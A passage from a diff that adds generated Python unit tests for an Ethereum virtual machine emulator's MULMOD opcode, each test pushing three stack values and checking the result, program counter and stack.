+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_451(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_452(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_453(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_454(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_455(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_456(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_457(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_458(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_459(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_460(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_461(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_462(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_463(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_464(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_465(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_466(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_467(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_468(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_469(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_470(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_471(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_472(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_473(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_474(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_475(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_476(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_477(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_478(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_479(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_480(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_481(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_482(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_483(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
